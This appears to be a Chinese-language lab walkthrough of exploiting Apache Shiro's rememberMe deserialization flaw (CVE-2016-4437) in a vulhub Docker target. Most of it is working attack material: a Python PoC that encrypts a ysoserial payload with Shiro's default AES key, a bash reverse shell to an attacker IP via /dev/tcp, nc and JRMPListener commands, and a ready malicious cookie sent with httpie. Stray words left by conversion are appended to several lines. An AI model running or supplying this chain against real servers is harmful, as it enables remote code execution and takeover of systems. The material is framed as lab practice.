一、漏洞利用前提:
Apache Shiro <= 1.2.4html
二、靶场:
利用vulhub的靶场在服务器上搭建
注:docker相关配置就没有写了,靶场能运行就行java
靶场搭建python
git clone https://github.com/vulhub/vulhub.git cd /vulhub/shiro/CVE-2016-4437 docker-compose up -d #启动靶场
启动完靶场以后访问服务器ip所在的8080端口,便可看到靶场界面以下
二、获取jar包
在攻击机上执行git
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
mvn会生成一个名为ysoserial-0.0.6-SNAPSHOT-all.jar的jar包,将该jar包和poc脚本放在同一目录下
poc代码以下:github
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
我将该脚本命名为shiro_shell.pyweb
三、攻击机上执行脚本生成恶意cookiedocker
python shiro_shell.py 1.1.1.1:1099 #1.1.1.1为你的攻击机ip 端口能够随意变更,可是后面监听的时候也要作相应变更
生成的cookie相似下图
shell
四、反弹shell制做
反弹shell须要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码以下bash
bash -i >& /dev/tcp/1.1.1.1/7878 0>&1 #1.1.1.1为攻击机ip
五、攻击机监听端口
攻击机1.1.1.1上打开两个窗口,
其中一个窗口监听shell服务器
nc -lvp 7878
另外一个窗口监听JRMP端口
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'
六、将生成的恶意cookie经过httpie发送
在攻击机1.1.1.1上执行以下代码
http 1.1.1.2:8080/login 'Cookie:rememberMe=UfsKYXK1SIOgFdnOxdPidh09yGZv6Medaj/T0E5sE9xhxMP69kzlNKsEdfHUhTgD12ea7NOv+xRhnZSGhUi9rz1tYVPu5QHfINrMS4I+lTe82RO5PY1vJrmMwP/NnBvjfGtTWTwRSNl1AhNgJrAhrEBStf+cpnBMwmoWxiexDjm2BavY/lSLe52hZhCEcr0zv/kqC9PdhBfY326+ux/RkE0pfwfZNMEUrPIZw8gBJkCIDTb1qj+W32+YinOKCkye/i+GmKHifPoMSt91q0nR/NQnxyu4UJQoULSbCI3/vXKtGm7P+YNqhH6smVPIoTxqtAqWTJG7eOafDPC2azUlhbLcmjql7qDL2wPpv4JOxB0fLIwdkQqSn9DCBty2BfKDqf8I/lvTbKqHHfVIUMdjYQ=='
七、查看攻击机上监听的结果
发现两个端口都会收到消息,
shell反弹到7878端口
八、总结 找了不少资料,去试了不少次,另一种方法仍是没有实验成功。也不知道在哪遇到了坑,仍是不懂开发。另一种方法的参考连接:https://www.cnblogs.com/paperpen/p/11312671.html,这种是经过dnslog回显去判断的,可是我按照流程作下来并无成功,除了jar包名称同样,其他的地方几乎都没区别。 参考资料: https://www.jianshu.com/p/0007eafd1f92 https://blog.csdn.net/qq_41954384/article/details/101694539